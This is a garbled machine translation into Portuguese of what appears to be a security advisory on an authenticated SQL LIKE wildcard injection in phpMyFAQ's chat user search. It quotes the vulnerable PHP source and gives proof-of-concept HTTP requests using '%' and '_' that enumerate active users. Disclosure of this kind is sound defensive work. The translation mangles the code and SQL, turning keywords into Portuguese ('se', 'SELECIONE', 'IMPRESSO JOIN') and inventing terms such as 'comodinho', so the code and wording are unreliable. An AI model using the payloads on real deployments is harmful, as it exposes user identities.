Uma vulnerabilidade de injeção SQL LIKE como um comodinho autenticada na pesquisa de usuário do chat do phpMyFAQÕs permite que qualquer usuário conectado ignore o filtro de busca do nome de exibição pretendido e enumera os usuários ativos. O objetivo escapa da sintaxe de string SQL, mas não escapa de `%` e `_`, que permanecem comodários ativos `LIKE`. O objetivo vulnerável é: ``` GET /api/chat/ users?q=... ```` Fonte: ``php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', '')); se (mb_strlen( $query) json([ 'sucesso' => true, 'usuários' => [], ], Resposta::HTTP_OK); }.
$chat = novo Chat($this-> configuração); $users = $chat->searchUsers($query, $this->currentUser->getUserId()); ```' Switch: ``php // phpmyfaq/src/phpMyFAQ/Chat.php $escapedTerm = $this-> configuração->getDb()->escape(mb_strtolower($searchTerm)); $query = sprintf( "SELECIONE u.user_id, ud.display_name From%sfaquser u IMPRESSO JOIN%sfaquserdata ud ON u.user_id = ud.user_id WHERE u.user_id!=%d E u.user_id > 0 E LOWER(ud.display_ name) COMO '%%%s%%' E u. account_ estatus = 'ativo' LIMIT%d", Base de dados::getTablePrefix(), Base de dados::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, ); ``` ` escape()' impede quebra de cadeia SQL, mas não escapa dos meta- caracteres do SQL `LIKE`. Portanto, o banco de dados é interpretado como como comordos, sendo o `%' e `_' controlado pelo atacante.
O projeto já usa um padrão mais seguro em outro lugar com o ESCAPE ' ́' e comoddcard escapando, mas este caminho de busca de chat não o aplica. phpMyFAQ 4.2.0 -alpha commit c 0 b 7158 df 4 bfb 11 d 57 b 1 ef 7 d 471760583 c 9 c 2 fae.
Prerequisito: o atacante tem qualquer conta de usuário validada autenticada. 1. Certifique-se de que há vários usuários ativos no banco de dados, por exemplo: ``` userId= 2 playName="Alice Finance" userId= 3 displayName="Bob Support" userId= 4 displayName="Engenharia do Carol" ``` 2. Envie uma consulta normal que não deve corresponder a qualquer usuário: ``` GET /api/ chat/ users?q=zz HTTP/ 1.1 Host: alvo Cookie: [autenticado session] ``` Resposta observada: ``` { "sucesso": true, "users": [] } ``` 3. Enviar uma consulta comodária: ``` GET /api/chat/ users?q=% 25% 25 HTTP/ 1.1 Host: alvo Cookie: [autenticated session] ``` Resposta observada: ``` { "sucesso": true, "users": [ { "userId": 2, "DisplayName": "Alice Finance" }, { "UserId": 3, "displayName": "Bob Support" }, { "useriId": 4, "displayName": "Carol Engineering" } ] } ``` A mesma questão é reprodutível com os wildcards `_`: ``` GET /api/ chat/ users?q=_ HTTP/ 1.1 Host: alvo Cookie: [autenticated session] ``` A confirmação local também foi realizada chamando o método vulnerável phpMyFAQ\Chat::searchUsers() diretamente com usuários semeados. q=zz não retornou usuários, enquanto `q=%%' e `q=__' retornaram usuários ativos.
Este é um comodinho SQL LIKE injeção / filtro de busca de desvio vulnerabilidade. Qualquer usuário autenticado pode enumerar IDs de usuário ativos e mostrar nomes através do objetivo de busca do usuário do chat. Isto pode revelar identidades internas de usuário, nomes de equipe, nomes de departamento ou outras informações de contas sensíveis dependendo da implantação. 684893 f-ccb 1 - 42 af- 9568 - 50900793076 f. Registro de aconselhamento: GHSA- 6 Pvm- 2 vjj-rx 4 w. Identificadores relacionados: CVE- 2026 - 47132.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 12 T 15: 17: 54.000 Z e lista a sua última modificação como 2026 - 08 - 12 T 15: 17: 54.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
Software afetado e informações de versão: Pacote Packagist thorsten/phpmyfaq — ECOSISTEM: introduzido 0, corrigido 4.2.0 - Alfa. Classificação e evidência: identificadores de fraqueza CWE- 20, CWE- 200, CWE- 89. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.